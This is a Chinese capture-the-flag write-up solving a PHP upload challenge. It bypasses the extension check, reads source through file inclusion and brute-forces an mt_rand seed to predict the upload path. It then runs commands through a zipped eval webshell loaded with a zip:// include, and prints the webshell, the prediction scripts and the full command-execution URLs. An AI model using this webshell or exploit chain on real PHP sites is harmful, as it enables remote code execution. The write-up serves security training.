粗一看,是文件上传的题目。
随便传一个文件试试,测试可知,只是验证后缀,改后缀即可绕过。
问题是文件传到哪里去了,这也是本题的核心考点。
http://111.198.29.45:30117/?page=upload
url 有所变化,可能任意跳转,尝试下伪协议读源码,成功。
// index.php
<?php
error_reporting(0);
session_start();
if(isset($_GET['page'])){
$page=$_GET['page'];
}else{
$page=null;
}
if(preg_match('/\.\./',$page)) {
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
die();
}
?>
<?php
if($page) {
if(!(include($page.'.php'))) {
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>error!</div>";
exit;
}
}
?>
index.php 没太多用处,核心在 upload.php。
<?php
error_reporting(0);
function show_error_message($message) {
die("<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function show_message($message) {
echo("<div class=\"msg success\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function random_str($length = "32") {
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
return $str;
}
session_start();
$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {
$seed = rand(0,999999999); // 生成随机数做种子
mt_srand($seed); // 用seed给随机数发生器播种
$ss = mt_rand(); // 取随机数
$hash = md5(session_id() . $ss); // session_id() 是可控的,设为 0 或者很短的值
// 服务端对 session_id() 的态度:你有用你的,你没有我给你设。
setcookie('SESSI0N', $hash, time() + 3600); // 此处是设置 SESSION
if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check3 = !preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));
if ($check3) show_error_message("Nope!");
if ($check2) {
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>
filename = ‘./uP1O4Ds/‘ . random_str() . ‘_’ . _FILES[‘file-upload-field’][‘name’];
由此可知,重点是预测 random_str()
的值。
联想到此前的 2018 SWPUCTF 用优惠码买个X?SWPUCTF wp
因此我们只要得到 mt_srand()
函数的播种种子的值,就可以预测出24位的优惠码。
测试发现无论是 rand() 函数还是 mt_rand() 函数,当随机数种子相同的时候,无论运行多少次,产生的随机数序列都是一样的。所以,如果我们在代码中自己播种的随机数种子泄露,就会导致产生的随机数序列被别人猜到,造成安全问题。
对于这个题也类似,只要得到种子,就能预测。
直接强行爆破太麻烦了,先爆出一个随机数,利用这个随机数去爆破它的种子。
将 test.php 文件打个压缩包 test.zip,然后改后缀名 test.png,利用 zip://
解压缩读取
种子确定了,随机值也确定了,直接利用源代码中的方式就能推出路径。
<?php
$std = "6f51b1f6ba8ee543732b21dbe0efacb9"; // cookie 中的 SESSION
for($i=0;$i<=999999999;$i++) {
$ha = md5("0" . $i);
if($ha === $std) {
echo "Success-----------=>" . $i;
// 爆出随机数为 i
break;
}
if($i % 100000000 == 0) echo $i . "\n";
}
?>
得出随机数
然后利用神器,爆出种子
利用这个脚本
// 爆出来的种子
$arr = array(76047661,1136899518,1497431590,2832522619);
foreach($arr as $a) {
mt_srand($a);
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
$ss = mt_rand(); // 这一步必须加上,否则与服务器端的随机值对应不上
for ($i = 1; $i <= 32; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
// echo 'zip://uP1O4Ds/' . $str . '_test.png%23test&a=phpinfo();' . "<br>";
echo 'http://111.198.29.45:30117/uP1O4Ds/' . $str . '_test.png' . "<br>";
}
先检查地址是否有效,然后利用之前传的后门进行命令执行。
// test.php
<?php eval($_GET['a']);?>
最后的 payload 如下:
http://111.198.29.45:30117/?page=zip://uP1O4Ds/Ah86F1AZxgsLc8UUjkHPZRKMoCM3XUdT_test.png%23test/test&a=echo%20system(%27ls%27);
# test.png%23test&a=echo%20system(%27ls%27); 这样是不行的,网上都是这个路子==,找时间整理下
CSS flag-Edi98vJF8hnIp.txt index.html index.php js uP1O4Ds upload.php upload.php
然后 cat flag
http://111.198.29.45:30117/?page=zip://uP1O4Ds/Ah86F1AZxgsLc8UUjkHPZRKMoCM3XUdT_test.png%23test/test&a=echo%20system(%27cat%20./flag-Edi98vJF8hnIp.txt%27);